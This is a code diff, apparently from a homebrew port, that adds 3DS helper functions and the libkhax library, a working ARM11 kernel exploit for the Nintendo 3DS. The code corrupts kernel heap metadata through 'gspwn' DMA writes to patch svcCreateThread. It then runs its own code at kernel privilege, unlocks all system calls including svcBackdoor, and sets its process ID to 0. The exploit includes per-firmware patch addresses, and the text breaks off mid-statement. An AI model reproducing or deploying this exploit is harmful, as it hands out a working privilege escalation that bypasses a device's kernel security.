diff --git a/3ds/3ds_utils.c b/3ds/3ds_utils.c new file mode 100644 index 0000000..a5a5846 --- /dev/null +++ b/3ds/3ds_utils.c @@ -0,0 +1,98 @@ + +#include "3ds.h" +#include "libkhax/khax.h" + +static int ninjhax_version = 0; + +typedef s32 (*ctr_callback_type)(void); + +static void ctr_enable_all_svc_kernel(void) +{ + __asm__ volatile("cpsid aif"); + + u32* svc_access_control = *(*(u32***)0xFFFF9000 + 0x22) - 0x6; + + svc_access_control[0]=0xFFFFFFFE; + svc_access_control[1]=0xFFFFFFFF; + svc_access_control[2]=0xFFFFFFFF; + svc_access_control[3]=0x3FFFFFFF; +} + + +static void ctr_invalidate_ICache_kernel(void) +{ + __asm__ volatile( + "cpsid aif\n\t" + "mov r0, #0\n\t" + "mcr p15, 0, r0, c7, c5, 0\n\t"); +} + +static void ctr_flush_DCache_kernel(void) +{ + __asm__ volatile( + "cpsid aif\n\t" + "mov r0, #0\n\t" + "mcr p15, 0, r0, c7, c10, 0\n\t"); + +} + + +static void ctr_enable_all_svc(void) +{ + svcBackdoor((ctr_callback_type)ctr_enable_all_svc_kernel); +} + +void ctr_invalidate_ICache(void) +{ +// __asm__ volatile("svc 0x2E\n\t"); + svcBackdoor((ctr_callback_type)ctr_invalidate_ICache_kernel); + +} + +void ctr_flush_DCache(void) +{ +// __asm__ volatile("svc 0x4B\n\t"); + svcBackdoor((ctr_callback_type)ctr_flush_DCache_kernel); +} + + +void ctr_flush_invalidate_cache(void) +{ + ctr_flush_DCache(); + ctr_invalidate_ICache(); +} + +int ctr_svchack_init(void) +{ + Handle tempHandle; + Result res = srvGetServiceHandle(&tempHandle, "am:u"); + if(res == 0) + { + /* CFW */ + svcCloseHandle(tempHandle); + ninjhax_version = 0; + ctr_enable_all_svc(); + return 1; + } + else if(hbInit() == 0) + { + /* ninjhax 1.0 */ + ninjhax_version = 1; + hbExit(); + khaxInit(); + return 1; + } + else + { + /* ninjhax 2.0 */ + + return 0; + } +} + + +void ctr_svchack_exit(void) +{ + if (ninjhax_version == 1) + khaxExit(); +} diff --git a/3ds/3ds_utils.h b/3ds/3ds_utils.h new file mode 100644 index 0000000..150c56e --- /dev/null +++ b/3ds/3ds_utils.h @@ -0,0 +1,12 @@ +#ifndef _3DS_UTILS_H +#define _3DS_UTILS_H + +void ctr_invalidate_ICache(void); +void ctr_flush_DCache(void); + +void ctr_flush_invalidate_cache(void); + +int ctr_svchack_init(void); +void ctr_svchack_exit(void); + +#endif // _3DS_UTILS_H diff --git a/3ds/libkhax/LICENSE b/3ds/libkhax/LICENSE new file mode 100644 index 0000000..1456b22 --- /dev/null +++ b/3ds/libkhax/LICENSE @@ -0,0 +1,22 @@ +The MIT License (MIT) + +Copyright (c) 2015 Myriachan + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + diff --git a/3ds/libkhax/khax.h b/3ds/libkhax/khax.h new file mode 100644 index 0000000..21051c3 --- /dev/null +++ b/3ds/libkhax/khax.h @@ -0,0 +1,16 @@ +#pragma once + +#include <3ds.h> + +#ifdef __cplusplus +extern "C" { +#endif + +// Initialize and do the initial pwning of the ARM11 kernel. +Result khaxInit(); +// Shut down libkhax +Result khaxExit(); + +#ifdef __cplusplus +} +#endif diff --git a/3ds/libkhax/khaxinit.cpp b/3ds/libkhax/khaxinit.cpp new file mode 100644 index 0000000..5c5ad81 --- /dev/null +++ b/3ds/libkhax/khaxinit.cpp @@ -0,0 +1,1110 @@ +#include <3ds.h> +#include +#include +#include +#include +#include +#include + +#include "khax.h" +#include "khaxinternal.h" + +//------------------------------------------------------------------------------------------------ +namespace KHAX +{ + //------------------------------------------------------------------------------------------------ + // Kernel and hardware version information. + struct VersionData + { + // New 3DS? + bool m_new3DS; + // Kernel version number + u32 m_kernelVersion; + // Nominal version number lower bound (for informational purposes only) + u32 m_nominalVersion; + // Patch location in svcCreateThread + u32 m_threadPatchAddress; + // Original version of code at m_threadPatchAddress + static constexpr const u32 m_threadPatchOriginalCode = 0x8DD00CE5; + // System call unlock patch location + u32 m_syscallPatchAddress; + // Kernel virtual address mapping of FCRAM + u32 m_fcramVirtualAddress; + // Physical mapping of FCRAM on this machine + static constexpr const u32 m_fcramPhysicalAddress = 0x20000000; + // Physical size of FCRAM on this machine + u32 m_fcramSize; + // Address of KThread address in kernel (KThread **) + static constexpr KThread **const m_currentKThreadPtr = reinterpret_cast(0xFFFF9000); + // Address of KProcess address in kernel (KProcess **) + static constexpr void **const m_currentKProcessPtr = reinterpret_cast(0xFFFF9004); + // Pseudo-handle of the current KProcess. + static constexpr const Handle m_currentKProcessHandle = 0xFFFF8001; + // Returned pointers within a KProcess object. This abstracts out which particular + // version of the KProcess object is in use. + struct KProcessPointers + { + KSVCACL *m_svcAccessControl; + u32 *m_kernelFlags; + u32 *m_processID; + }; + // Creates a KProcessPointers for this kernel version and pointer to the object. + KProcessPointers(*m_makeKProcessPointers)(void *kprocess); + + // Convert a user-mode virtual address in the linear heap into a kernel-mode virtual + // address using the version-specific information in this table entry. + void *ConvertLinearUserVAToKernelVA(void *address) const; + + // Retrieve a VersionData for this kernel, or null if not recognized. + static const VersionData *GetForCurrentSystem(); + + private: + // Implementation behind m_makeKProcessPointers. + template + static KProcessPointers MakeKProcessPointers(void *kprocess); + + // Table of these. + static const VersionData s_versionTable[]; + }; + + //------------------------------------------------------------------------------------------------ + // ARM11 kernel hack class. + class MemChunkHax + { + public: + // Construct using the version information for the current system. + MemChunkHax(const VersionData *versionData) + : m_versionData(versionData), + m_nextStep(1), + m_corrupted(0), + m_overwriteMemory(nullptr), + m_overwriteAllocated(0), + m_extraLinear(nullptr) + { + s_instance = this; + } + + // Free memory and such. + ~MemChunkHax(); + + // Umm, don't copy this class. + MemChunkHax(const MemChunkHax &) = delete; + MemChunkHax &operator =(const MemChunkHax &) = delete; + + // Basic initialization. + Result Step1_Initialize(); + // Allocate linear memory for the memchunkhax operation. + Result Step2_AllocateMemory(); + // Free the second and fourth pages of the five. + Result Step3_SurroundFree(); + // Verify that the freed heap blocks' data matches our expected layout. + Result Step4_VerifyExpectedLayout(); + // Corrupt svcCreateThread in the ARM11 kernel and create the foothold. + Result Step5_CorruptCreateThread(); + // Execute svcCreateThread to execute code at SVC privilege. + Result Step6_ExecuteSVCCode(); + // Grant access to all services. + Result Step7_GrantServiceAccess(); + + private: + // SVC-mode entry point thunk (true entry point). + static Result Step6a_SVCEntryPointThunk(); + // SVC-mode entry point. + Result Step6b_SVCEntryPoint(); + // Undo the code patch that Step5_CorruptCreateThread did. + Result Step6c_UndoCreateThreadPatch(); + // Fix the heap corruption caused as a side effect of step 5. + Result Step6d_FixHeapCorruption(); + // Grant our process access to all system calls, including svcBackdoor. + Result Step6e_GrantSVCAccess(); + // Flush instruction and data caches. + Result Step6f_FlushCaches(); + // Patch the process ID to 0. Runs as svcBackdoor. + static Result Step7a_PatchPID(); + // Restore the original PID. Runs as svcBackdoor. + static Result Step7b_UnpatchPID(); + + // Helper for dumping memory to SD card. + template + bool DumpMemberToSDCard(const unsigned char (MemChunkHax::*member)[S], const char *filename) const; + + // Result returned by hacked svcCreateThread upon success. + static constexpr const Result STEP6_SUCCESS_RESULT = 0x1337C0DE; + + // Version information. + const VersionData *const m_versionData; + // Next step number. + int m_nextStep; + // Whether we are in a corrupted state, meaning we cannot continue if an error occurs. + int m_corrupted; + + // Free block structure in the kernel, the one used in the memchunkhax exploit. + struct HeapFreeBlock + { + int m_count; + HeapFreeBlock *m_next; + HeapFreeBlock *m_prev; + int m_unknown1; + int m_unknown2; + }; + + // The layout of a memory page. + union Page + { + unsigned char m_bytes[4096]; + HeapFreeBlock m_freeBlock; + }; + + // The linear memory allocated for the memchunkhax overwrite. + struct OverwriteMemory + { + union + { + unsigned char m_bytes[6 * 4096]; + Page m_pages[6]; + }; + }; + OverwriteMemory *m_overwriteMemory; + unsigned m_overwriteAllocated; + + // Additional linear memory buffer for temporary purposes. + union ExtraLinearMemory + { + ALIGN(64) unsigned char m_bytes[64]; + // When interpreting as a HeapFreeBlock. + HeapFreeBlock m_freeBlock; + }; + // Must be a multiple of 16 for use with gspwn. + static_assert(sizeof(ExtraLinearMemory) % 16 == 0, "ExtraLinearMemory isn't a multiple of 16 bytes"); + ExtraLinearMemory *m_extraLinear; + + // Copy of the old ACL + KSVCACL m_oldACL; + + // Original process ID. + u32 m_originalPID; + + // Buffers for dumped data when debugging. + #ifdef KHAX_DEBUG_DUMP_DATA + unsigned char m_savedKProcess[sizeof(KProcess_8_0_0_New)]; + unsigned char m_savedKThread[sizeof(KThread)]; + unsigned char m_savedThreadSVC[0x100]; + #endif + + // Pointer to our instance. + static MemChunkHax *volatile s_instance; + }; + + //------------------------------------------------------------------------------------------------ + // Make an error code + inline Result MakeError(Result level, Result summary, Result module, Result error); + enum : Result { KHAX_MODULE = 254 }; + // Check whether this system is a New 3DS. + Result IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown = 0); + // gspwn, meant for reading from or writing to freed buffers. + Result GSPwn(void *dest, const void *src, std::size_t size, bool wait = true); + // Given a pointer to a structure that is a member of another structure, + // return a pointer to the outer structure. Inspired by Windows macro. + template + Outer *ContainingRecord(Inner *member, Inner Outer::*field); +} + + +//------------------------------------------------------------------------------------------------ +// +// Class VersionData +// + +//------------------------------------------------------------------------------------------------ +// Creates a KProcessPointers for this kernel version and pointer to the object. +template +KHAX::VersionData::KProcessPointers KHAX::VersionData::MakeKProcessPointers(void *kprocess) +{ + KProcessType *kproc = static_cast(kprocess); + + KProcessPointers result; + result.m_svcAccessControl = &kproc->m_svcAccessControl; + result.m_processID = &kproc->m_processID; + result.m_kernelFlags = &kproc->m_kernelFlags; + return result; +} + +//------------------------------------------------------------------------------------------------ +// System version table +const KHAX::VersionData KHAX::VersionData::s_versionTable[] = +{ +#define KPROC_FUNC(ver) MakeKProcessPointers + + // Old 3DS, old address layout + { false, SYSTEM_VERSION(2, 34, 0), SYSTEM_VERSION(4, 1, 0), 0xEFF83C9F, 0xEFF827CC, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, + { false, SYSTEM_VERSION(2, 35, 6), SYSTEM_VERSION(5, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, + { false, SYSTEM_VERSION(2, 36, 0), SYSTEM_VERSION(5, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, + { false, SYSTEM_VERSION(2, 37, 0), SYSTEM_VERSION(6, 0, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, + { false, SYSTEM_VERSION(2, 38, 0), SYSTEM_VERSION(6, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, + { false, SYSTEM_VERSION(2, 39, 4), SYSTEM_VERSION(7, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, + { false, SYSTEM_VERSION(2, 40, 0), SYSTEM_VERSION(7, 2, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, + // Old 3DS, new address layout + { false, SYSTEM_VERSION(2, 44, 6), SYSTEM_VERSION(8, 0, 0), 0xDFF8376F, 0xDFF82294, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) }, + { false, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF8383F, 0xDFF82290, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) }, + // New 3DS + { true, SYSTEM_VERSION(2, 45, 5), SYSTEM_VERSION(8, 1, 0), 0xDFF83757, 0xDFF82264, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) }, // untested + { true, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF83837, 0xDFF82260, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) }, + +#undef KPROC_FUNC +}; + +//------------------------------------------------------------------------------------------------ +// Convert a user-mode virtual address in the linear heap into a kernel-mode virtual +// address using the version-specific information in this table entry. +void *KHAX::VersionData::ConvertLinearUserVAToKernelVA(void *address) const +{ + static_assert((std::numeric_limits::max)() == (std::numeric_limits::max)(), + "you're sure that this is a 3DS?"); + + // Need the pointer as an integer. + u32 addr = reinterpret_cast(address); + + // Convert the address to a physical address, since that's how we know the mapping. + u32 physical = osConvertVirtToPhys(addr); + if (physical == 0) + { + return nullptr; + } + + // Verify that the address is within FCRAM. + if ((physical < m_fcramPhysicalAddress) || (physical - m_fcramPhysicalAddress >= m_fcramSize)) + { + return nullptr; + } + + // Now we can convert. + return reinterpret_cast(m_fcramVirtualAddress) + (physical - m_fcramPhysicalAddress); +} + +//------------------------------------------------------------------------------------------------ +// Retrieve a VersionData for this kernel, or null if not recognized. +const KHAX::VersionData *KHAX::VersionData::GetForCurrentSystem() +{ + // Get kernel version for comparison. + u32 kernelVersion = osGetKernelVersion(); + + // Determine whether this is a New 3DS. + bool isNew3DS; + if (IsNew3DS(&isNew3DS, kernelVersion) != 0) + { + return nullptr; + } + + // Search our list for a match. + for (const VersionData *entry = s_versionTable; entry < &s_versionTable[KHAX_lengthof(s_versionTable)]; ++entry) + { + // New 3DS flag must match. + if ((entry->m_new3DS && !isNew3DS) || (!entry->m_new3DS && isNew3DS)) + { + continue; + } + // Kernel version must match. + if (entry->m_kernelVersion != kernelVersion) + { + continue; + } + + return entry; + } + + return nullptr; +} + + +//------------------------------------------------------------------------------------------------ +// +// Class MemChunkHax +// + +//------------------------------------------------------------------------------------------------ +KHAX::MemChunkHax *volatile KHAX::MemChunkHax::s_instance = nullptr; + +//------------------------------------------------------------------------------------------------ +// Basic initialization. +Result KHAX::MemChunkHax::Step1_Initialize() +{ + if (m_nextStep != 1) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step1_Initialize\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // Nothing to do in current implementation. + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Allocate linear memory for the memchunkhax operation. +Result KHAX::MemChunkHax::Step2_AllocateMemory() +{ + if (m_nextStep != 2) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step2_AllocateMemory\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // Allocate the linear memory for the overwrite process. + u32 address = 0xFFFFFFFF; + Result result = svcControlMemory(&address, 0, 0, sizeof(OverwriteMemory), MEMOP_ALLOC_LINEAR, + static_cast(MEMPERM_READ | MEMPERM_WRITE)); + + KHAX_printf("Step2:res=%08lx addr=%08lx\n", result, address); + + if (result != 0) + { + return result; + } + + m_overwriteMemory = reinterpret_cast(address); + m_overwriteAllocated = (1u << 6) - 1; // all 6 pages allocated now + + // Why didn't we get a page-aligned address?! + if (address & 0xFFF) + { + // Since we already assigned m_overwriteMemory, it'll get freed by our destructor. + KHAX_printf("Step2:misaligned memory\n"); + return MakeError(26, 7, KHAX_MODULE, 1009); + } + + // Allocate extra memory that we'll need. + m_extraLinear = static_cast(linearMemAlign(sizeof(*m_extraLinear), + alignof(*m_extraLinear))); + if (!m_extraLinear) + { + KHAX_printf("Step2:failed extra alloc\n"); + return MakeError(26, 3, KHAX_MODULE, 1011); + } + KHAX_printf("Step2:extra=%p\n", m_extraLinear); + + // OK, we're good here. + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Free the second and fourth pages of the five. +Result KHAX::MemChunkHax::Step3_SurroundFree() +{ + if (m_nextStep != 3) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step3_AllocateMemory\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // We do this because the exploit involves triggering a heap coalesce. We surround a heap + // block (page) with two freed pages, then free the middle page. By controlling both outside + // pages, we know their addresses, and can fix up the corrupted heap afterward. + // + // Here's what the heap will look like after step 3: + // + // ___XX-X-X___ + // + // _ = unknown (could be allocated and owned by other code) + // X = allocated + // - = allocated then freed by us + // + // In step 4, we will free the second page: + // + // ___X--X-X___ + // + // Heap coalescing will trigger due to two adjacent free blocks existing. The fifth page's + // "previous" pointer will be set to point to the second page rather than the third. We will + // use gspwn to make that overwrite kernel code instead. + // + // We have 6 pages to ensure that we have surrounding allocated pages, giving us a little + // sandbox to play in. In particular, we can use this design to determine the address of the + // next block--by controlling the location of the next block. + u32 dummy; + + // Free the third page. + if (Result result = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[2]), 0, + sizeof(m_overwriteMemory->m_pages[2]), MEMOP_FREE, static_cast(0))) + { + KHAX_printf("Step3:svcCM1 failed:%08lx\n", result); + return result; + } + m_overwriteAllocated &= ~(1u << 2); + + // Free the fifth page. + if (Result result = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[4]), 0, + sizeof(m_overwriteMemory->m_pages[4]), MEMOP_FREE, static_cast(0))) + { + KHAX_printf("Step3:svcCM2 failed:%08lx\n", result); + return result; + } + m_overwriteAllocated &= ~(1u << 4); + + // Attempt to write to remaining pages. + //KHAX_printf("Step2:probing page [0]\n"); + *static_cast(&m_overwriteMemory->m_pages[0].m_bytes[0]) = 0; + //KHAX_printf("Step2:probing page [1]\n"); + *static_cast(&m_overwriteMemory->m_pages[1].m_bytes[0]) = 0; + //KHAX_printf("Step2:probing page [3]\n"); + *static_cast(&m_overwriteMemory->m_pages[3].m_bytes[0]) = 0; + //KHAX_printf("Step2:probing page [5]\n"); + *static_cast(&m_overwriteMemory->m_pages[5].m_bytes[0]) = 0; + KHAX_printf("Step3:probing done\n"); + + // Done. + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Verify that the freed heap blocks' data matches our expected layout. +Result KHAX::MemChunkHax::Step4_VerifyExpectedLayout() +{ + if (m_nextStep != 4) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step4_VerifyExpectedLayout\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // Copy the first freed page (third page) out to read its heap metadata. + std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear)); + + if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2], + sizeof(*m_extraLinear))) + { + KHAX_printf("Step4:gspwn failed:%08lx\n", result); + return result; + } + + // Debug information about the memory block + KHAX_printf("Step4:[2]u=%p k=%p\n", &m_overwriteMemory->m_pages[2], m_versionData-> + ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2])); + KHAX_printf("Step4:[2]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next, + m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count); + + // The next page from the third should equal the fifth page. + if (m_extraLinear->m_freeBlock.m_next != m_versionData->ConvertLinearUserVAToKernelVA( + &m_overwriteMemory->m_pages[4])) + { + KHAX_printf("Step4:[2]->next != [4]\n"); + KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_next, + m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]), + &m_overwriteMemory->m_pages[4]); + return MakeError(26, 5, KHAX_MODULE, 1014); + } + + // Copy the second freed page (fifth page) out to read its heap metadata. + std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear)); + + if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[4], + sizeof(*m_extraLinear))) + { + KHAX_printf("Step4:gspwn failed:%08lx\n", result); + return result; + } + + KHAX_printf("Step4:[4]u=%p k=%p\n", &m_overwriteMemory->m_pages[4], m_versionData-> + ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4])); + KHAX_printf("Step4:[4]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next, + m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count); + + // The previous page from the fifth should equal the third page. + if (m_extraLinear->m_freeBlock.m_prev != m_versionData->ConvertLinearUserVAToKernelVA( + &m_overwriteMemory->m_pages[2])) + { + KHAX_printf("Step4:[4]->prev != [2]\n"); + KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_prev, + m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]), + &m_overwriteMemory->m_pages[2]); + return MakeError(26, 5, KHAX_MODULE, 1014); + } + + // Validation successful + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Corrupt svcCreateThread in the ARM11 kernel and create the foothold. +Result KHAX::MemChunkHax::Step5_CorruptCreateThread() +{ + if (m_nextStep != 5) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step5_CorruptCreateThread\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // Read the memory page we're going to gspwn. + if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2].m_freeBlock, + sizeof(*m_extraLinear))) + { + KHAX_printf("Step5:gspwn read failed:%08lx\n", result); + return result; + } + + // Adjust the "next" pointer to point to within the svcCreateThread system call so as to + // corrupt certain instructions. The result will be that calling svcCreateThread will result + // in executing our code. + // NOTE: The overwrite is modifying the "m_prev" field, so we subtract the offset of m_prev. + // That is, the overwrite adds this offset back in. + m_extraLinear->m_freeBlock.m_next = reinterpret_cast( + m_versionData->m_threadPatchAddress - offsetof(HeapFreeBlock, m_prev)); + + // Do the GSPwn, the actual exploit we've been waiting for. + if (Result result = GSPwn(&m_overwriteMemory->m_pages[2].m_freeBlock, m_extraLinear, + sizeof(*m_extraLinear))) + { + KHAX_printf("Step5:gspwn exploit failed:%08lx\n", result); + return result; + } + + // The heap is now corrupted in two ways (Step6 explains why two ways). + m_corrupted += 2; + + KHAX_printf("Step5:gspwn succeeded; heap now corrupt\n"); + + // Corrupt svcCreateThread by freeing the second page. The kernel will coalesce the third + // page into the second page, and in the process zap an instruction pair in svcCreateThread. + u32 dummy; + if (Result result = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[1]), + 0, sizeof(m_overwriteMemory->m_pages[1]), MEMOP_FREE, static_cast(0))) + { + KHAX_printf("Step5:free to pwn failed:%08lx\n", result); + return result; + } + m_overwriteAllocated &= ~(1u << 1); + + // We have an additional layer of instability because of the kernel code overwrite. + ++m_corrupted; + + KHAX_printf("Step5:svcCreateThread now hacked\n"); + + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Execute svcCreateThread to execute code at SVC privilege. +Result KHAX::MemChunkHax::Step6_ExecuteSVCCode() +{ + if (m_nextStep != 6) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step6_ExecuteSVCCode\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // Call svcCreateThread such that r0 is the desired exploit function. Note that the + // parameters to the usual system call thunk are rearranged relative to the actual system call + // - the thread priority parameter is actually the one that goes into r0. In addition, we + // want to pass other parameters that make for an illegal thread creation request, because the + // rest of the thread creation SVC occurs before the hacked code gets executed. We want the + // thread creation request to fail, then the hack to grant us control. Processor ID + // 0x7FFFFFFF seems to do the trick here. + Handle dummyHandle; + Result result = svcCreateThread(&dummyHandle, nullptr, 0, nullptr, reinterpret_cast( + Step6a_SVCEntryPointThunk), (std::numeric_limits::max)()); + + KHAX_printf("Step6:SVC mode returned: %08lX %d\n", result, m_nextStep); + + if (result != STEP6_SUCCESS_RESULT) + { + // If the result was 0, something actually went wrong. + if (result == 0) + { + result = MakeError(27, 11, KHAX_MODULE, 1023); + } + + return result; + } + +#ifdef KHAX_DEBUG + char oldACLString[KHAX_lengthof(m_oldACL) * 2 + 1]; + char *sp = oldACLString; + for (unsigned char b : m_oldACL) + { + *sp++ = "0123456789abcdef"[b >> 4]; + *sp++ = "0123456789abcdef"[b & 15]; + } + *sp = '\0'; + + KHAX_printf("oldACL:%s\n", oldACLString); +#endif + + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// SVC-mode entry point thunk (true entry point). +#ifndef _MSC_VER +__attribute__((__naked__)) +#endif +Result KHAX::MemChunkHax::Step6a_SVCEntryPointThunk() +{ + __asm__ volatile("add sp, sp, #8"); + + register Result result __asm__("r0") = s_instance->Step6b_SVCEntryPoint(); + + __asm__ volatile("ldr pc, [sp], #4" : : "r"(result)); +} + +//------------------------------------------------------------------------------------------------ +// SVC-mode entry point. +#ifndef _MSC_VER +__attribute__((__noinline__)) +#endif +Result KHAX::MemChunkHax::Step6b_SVCEntryPoint() +{ + if (Result result = Step6c_UndoCreateThreadPatch()) + { + return result; + } + if (Result result = Step6d_FixHeapCorruption()) + { + return result; + } + if (Result result = Step6e_GrantSVCAccess()) + { + return result; + } + if (Result result = Step6f_FlushCaches()) + { + return result; + } + + return STEP6_SUCCESS_RESULT; +} + +//------------------------------------------------------------------------------------------------ +// Undo the code patch that Step5_CorruptCreateThread did. +Result KHAX::MemChunkHax::Step6c_UndoCreateThreadPatch() +{ + // Unpatch svcCreateThread. NOTE: Misaligned pointer. + *reinterpret_cast(m_versionData->m_threadPatchAddress) = m_versionData-> + m_threadPatchOriginalCode; + --m_corrupted; + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Fix the heap corruption caused as a side effect of step 5. +Result KHAX::MemChunkHax::Step6d_FixHeapCorruption() +{ + // The kernel's heap coalesce code seems to be like the following for the case we triggered, + // where we're freeing a block before ("left") an adjacent block ("right"): + // + // (1) left->m_count += right->m_count; + // (2) left->m_next = right->m_next; + // (3) right->m_next->m_prev = left; + // + // (1) should have happened normally. (3) is what we exploit: we set right->m_next to point + // to where we want to patch, such that the write to m_prev is the desired code overwrite. + // (2) is copying the value we put into right->m_next to accomplish (3). + // + // As a result of these shenanigans, we have two fixes to do to the heap: fix left->m_next to + // point to the correct next free block, and do the write to right->m_next->m_prev that didn't + // happen because it instead was writing to kernel code. + + // "left" is the second overwrite page. + auto left = static_cast(m_versionData->ConvertLinearUserVAToKernelVA( + &m_overwriteMemory->m_pages[1].m_freeBlock)); + // "right->m_next" is the fifth overwrite page. + auto rightNext = static_cast(m_versionData->ConvertLinearUserVAToKernelVA( + &m_overwriteMemory->m_pages[4].m_freeBlock)); + + // Do the two fixups. + left->m_next = rightNext; + --m_corrupted; + + rightNext->m_prev = left; + --m_corrupted; + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Grant our process access to all system calls, including svcBackdoor. +Result KHAX::MemChunkHax::Step6e_GrantSVCAccess() +{ + // Everything, except nonexistent services 00, 7E or 7F. + static constexpr const char s_fullAccessACL[] = "\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x3F"; + + // Get the KThread pointer. Its type doesn't vary, so far. + KThread *kthread = *m_versionData->m_currentKThreadPtr; + + // Debug dumping. +#ifdef KHAX_DEBUG_DUMP_DATA + // Get the KProcess pointer, whose type varies by kernel version. + void *kprocess = *m_versionData->m_currentKProcessPtr; + + void *svcData = reinterpret_cast(reinterpret_cast(kthread->m_svcRegisterState) & ~std::uintptr_t(0xFF)); + std::memcpy(m_savedKProcess, kprocess, sizeof(m_savedKProcess)); + std::memcpy(m_savedKThread, kthread, sizeof(m_savedKThread)); + std::memcpy(m_savedThreadSVC, svcData, sizeof(m_savedThreadSVC)); +#endif + + // Get a pointer to the SVC ACL within the SVC area for the thread. + SVCThreadArea *svcThreadArea = ContainingRecord(kthread->m_svcRegisterState, &SVCThreadArea::m_svcRegisterState); + KSVCACL &threadACL = svcThreadArea->m_svcAccessControl; + + // Save the old one for diagnostic purposes. + std::memcpy(m_oldACL, threadACL, sizeof(threadACL)); + + // Set the ACL for the current thread. + std::memcpy(threadACL, s_fullAccessACL, sizeof(threadACL)); + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Flush instruction and data caches. +Result KHAX::MemChunkHax::Step6f_FlushCaches() +{ + // Invalidates the entire instruction cache. + __asm__ volatile( + "mov r0, #0\n\t" + "mcr p15, 0, r0, c7, c5, 0\n\t"); + + // Invalidates the entire data cache. + __asm__ volatile( + "mov r0, #0\n\t" + "mcr p15, 0, r0, c7, c10, 0\n\t"); + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Grant access to all services. +Result KHAX::MemChunkHax::Step7_GrantServiceAccess() +{ + // Backup the original PID. + Result result = svcGetProcessId(&m_originalPID, m_versionData->m_currentKProcessHandle); + if (result != 0) + { + KHAX_printf("Step7:GetPID1 fail:%08lx\n", result); + return result; + } + + KHAX_printf("Step7:current pid=%lu\n", m_originalPID); + + // Patch the PID to 0, granting access to all services. + svcBackdoor(Step7a_PatchPID); + + // Check whether PID patching succeeded. + u32 newPID; + result = 